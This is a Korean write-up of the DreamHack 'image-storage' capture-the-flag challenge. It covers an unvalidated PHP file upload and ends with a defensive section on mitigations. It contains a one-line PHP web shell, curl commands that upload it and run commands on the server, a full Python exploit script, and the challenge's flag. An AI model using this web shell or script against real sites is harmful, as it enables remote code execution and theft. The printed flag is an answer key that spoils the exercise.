[🥉 Bronze 4] 검증 없는 파일 업로드 — PHP 웹셸 한 줄로 RCE — DreamHack image-storage 풀이

문제: DreamHack — image-storage 분류: Web 난이도: 🥉 Bronze 4 FLAG: DH{c29f44ea17b29d8b76001f32e8997bab}

"Upload and Share Image !" 한 줄이 전부인 이미지 공유 사이트다. 업로드 폼과 목록 페이지밖에 없는데, 정작 업로드한 파일이 무엇인지 서버가 전혀 확인하지 않는다.

문제 개요

페이지는 셋뿐이다. index.php(소개), upload.php(업로드), list.php(업로드된 파일 목록). 업로드 핸들러가 파일 이름과 확장자를 그대로 받아 웹 디렉토리에 저장하므로, 이미지가 아니라 PHP 파일을 올려도 막히지 않는다. 올린 파일이 ./uploads/ 아래에 그대로 놓이고 그 경로로 바로 접근되니, 그게 곧 코드 실행이다.

🧩 배경 — PHP 파일 업로드와 웹셸

PHP에서 업로드 파일을 받는 표준 함수는 move_uploaded_file($tmp, $dest)다. 클라이언트가 보낸 임시 파일을 $dest 경로로 옮긴다. 이때 $dest를 만들 때 사용자가 보낸 파일명을 그대로 붙이면, 확장자까지 공격자가 정하게 된다.

move_uploaded_file($tmp_name, $directory . $name);   // $name = 클라이언트가 보낸 이름

문제는 PHP가 요청된 .php 파일을 코드로 실행한다는 점이다. 웹 서버 설정에서 .php가 PHP 핸들러에 매핑돼 있으면, 정적 파일처럼 내용을 보여주는 게 아니라 그 안의 코드를 돌린다. 그래서 업로드 디렉토리가

• 웹에서 접근 가능하고 (/uploads/...로 URL이 열리고)
• 그 디렉토리에서 PHP 실행이 켜져 있고
• 파일명을 공격자가 정할 수 있으면

업로드 기능 하나가 그대로 원격 코드 실행 통로가 된다. 이때 올리는 작은 PHP 스크립트를 웹셸이라고 부른다. 가장 흔한 형태가 요청 파라미터를 셸 명령으로 실행하는 한 줄짜리다.

<?php system($_GET['cmd']); ?>

이 파일을 shell.php로 올린 뒤 shell.php?cmd=id로 접근하면, 서버에서 id가 실행되고 그 출력이 응답으로 돌아온다.

🔬 코드 정찰

제공된 소스는 세 개뿐이라 전부 훑어본다.

upload.php — 검증이 없는 업로드 핸들러

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  if (isset($_FILES)) {
    $directory = './uploads/';
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
 
    if ( $error > 0 ) {
      echo "Error: " . $error . "<br>";
    } else {
      if (file_exists($directory . $name)) {
        echo $name . " already exists. ";
      } else {
        if (move_uploaded_file($tmp_name, $directory . $name)) {
          echo "Stored in: " . $directory . $name;
        }
      }
    }
  }
}

핵심은 검사라고 부를 만한 게 하나도 없다는 점이다. 파일명 $name을 검증하지 않고, 확장자 화이트리스트도 없고, MIME 타입($_FILES["file"]["type"])도 보지 않고, 업로드된 내용이 실제 이미지인지(getimagesize 같은 검사) 확인하지도 않는다.

올린 파일은 ./uploads/ + 클라이언트가 보낸 이름으로 저장되고, 저장 경로까지 응답에 그대로 찍어준다. 즉 무엇을, 어떤 이름으로 올릴지 전부 내가 정한다.

list.php — 올린 파일 경로 확인용

$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
    echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}

업로드 디렉토리를 스캔해서 링크로 나열할 뿐이다. 공격에 직접 쓰이진 않지만, 내가 올린 파일이 실제로 ./uploads/ 아래에 자리 잡았는지, 그리고 어떤 경로로 접근하면 되는지 확인하는 데 쓸 수 있다.

정리하면 공격 목표는 단순하다. upload.php로 PHP 웹셸을 올리고, list.php에서 경로를 확인한 뒤, /uploads/<웹셸>을 직접 열어 명령을 실행한다.

▶🐛 flag 위치 찾기 — /var/www/html 부터 봤지만 루트에 있었다

웹셸로 RCE를 잡은 다음 flag가 어디 있는지부터 찾아야 했다. 습관적으로 웹 루트(/var/www/html)와 그 상위를 먼저 뒤졌는데 거기엔 소스 파일과 uploads/뿐이었다.

범위를 넓혀 ls -al /을 찍어보니 flag는 파일시스템 루트에 flag.txt로 떡하니 놓여 있었다. 권한도 -rw-r--r--(world-readable)라 www-data 권한으로 바로 읽혔다. 별도의 권한 상승이 필요 없는 구성이었다.

💣 핵심 — 왜 업로드가 곧 RCE인가

이 문제의 취약점은 한 문장으로 정리된다. 검증 없는 업로드 + 웹에서 실행되는 업로드 디렉토리 = 임의 코드 실행. 단계로 풀면 이렇다.

upload.php가 파일명을 그대로 받아 ./uploads/shell.php로 저장하고, 그 디렉토리에서 PHP가 실행되니, 업로드 직후 /uploads/shell.php라는 URL이 생긴다. 이 URL을 여는 순간 안에 든 system($_GET['cmd'])가 돌아간다. 업로드 한 번과 GET 요청 한 번이면 끝이다.

🎯 익스플로잇

1. 웹셸 업로드

한 줄짜리 웹셸을 만들어 upload.php에 그대로 POST한다.

echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F "file=@shell.php" http://host3.dreamhack.games:21304/upload.php
# → Stored in: ./uploads/shell.php

응답이 Stored in: ./uploads/shell.php라 저장 경로까지 알려준다. list.php를 열어보면 목록에 shell.php가 올라온 것도 확인된다.

2. RCE 확인

저장된 경로로 직접 접근하면서 cmd에 명령을 넘긴다. 먼저 id로 실행 주체를 본다.

curl "http://host3.dreamhack.games:21304/uploads/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

브라우저에서 같은 URL을 열면 결과가 페이지에 그대로 찍힌다. 주소창의 ?cmd=id가 서버에서 실행돼 www-data로 돌아온다.

3. flag 회수

flag는 루트의 flag.txt였고 world-readable이라 그대로 읽힌다.

curl "http://host3.dreamhack.games:21304/uploads/shell.php?cmd=cat%20/flag.txt"
# → DH{c29f44ea17b29d8b76001f32e8997bab}

🚀 Full Exploit

업로드 → RCE 확인 → flag 읽기까지를 한 스크립트로 묶었다. 외부 라이브러리 없이 표준 라이브러리만으로 multipart 업로드를 직접 만든다.

#!/usr/bin/env python3
# image-storage — 무검증 업로드로 PHP 웹셸을 올려 RCE, /flag.txt 를 읽는다.
import sys, urllib.request, urllib.parse, uuid
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:21304"
 
def post_file(url, field, filename, content, ctype="application/octet-stream"):
    boundary = "----wg" + uuid.uuid4().hex
    body  = f"--{boundary}\r\n".encode()
    body += f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'.encode()
    body += f"Content-Type: {ctype}\r\n\r\n".encode()
    body += content + b"\r\n"
    body += f"--{boundary}--\r\n".encode()
    req = urllib.request.Request(url, data=body, method="POST",
        headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
    return urllib.request.urlopen(req, timeout=20).read().decode(errors="replace")
 
def run(cmd, shell="shell.php"):
    q = urllib.parse.urlencode({"cmd": cmd})
    return urllib.request.urlopen(f"{BASE}/uploads/{shell}?{q}", timeout=20).read().decode(errors="replace")
 
# 1) 웹셸 업로드 — 확장자/MIME 검증이 없어 .php 가 그대로 저장된다
shell = b"<?php system($_GET['cmd']); ?>"
print("[1] upload shell.php :", post_file(f"{BASE}/upload.php", "file", "shell.php", shell).strip())
 
# 2) RCE 확인
print("[2] id              :", run("id").strip())
 
# 3) flag 위치 탐색 후 읽기
print("[3] ls / (flag?)    :", run("ls / | tr '\\n' ' '").strip())
print("[4] flag            :", run("cat /flag.txt").strip())

실행하면 업로드부터 flag까지 한 번에 떨어진다.

📝 결론

파일 업로드는 "이름과 내용을 공격자가 정하는 입력"이다.

이미지 공유라는 평범한 기능이지만, 서버가 올라온 파일을 검증하지 않으면 그 자체로 코드 실행 통로가 된다. 이 문제는 확장자·MIME·내용 검사가 전부 빠져 있어 .php 웹셸이 그대로 통했다.

막는 방법은 여러 겹으로 쌓는다.

확장자는 블랙리스트가 아니라 화이트리스트로 검사한다(jpg, png, gif만 허용). .php, .phtml, .php5 같은 변형이 많아 블랙리스트는 늘 새어 나간다.

저장 파일명은 사용자 입력을 그대로 쓰지 말고 서버가 랜덤하게 생성한다. 확장자도 검증을 통과한 값으로 고정한다.

가장 확실한 건 업로드 디렉토리에서 코드 실행을 끄는 것이다. nginx라면 location /uploads/에서 PHP 패스를 막고, Apache라면 해당 디렉토리에 php_admin_flag engine off를 둔다. 실행이 불가능하면 웹셸을 올려도 그냥 텍스트 파일일 뿐이다.

여기에 업로드 내용이 실제 이미지인지(getimagesize)까지 확인하면, 이런 단순한 업로드 RCE는 들어설 자리가 없다.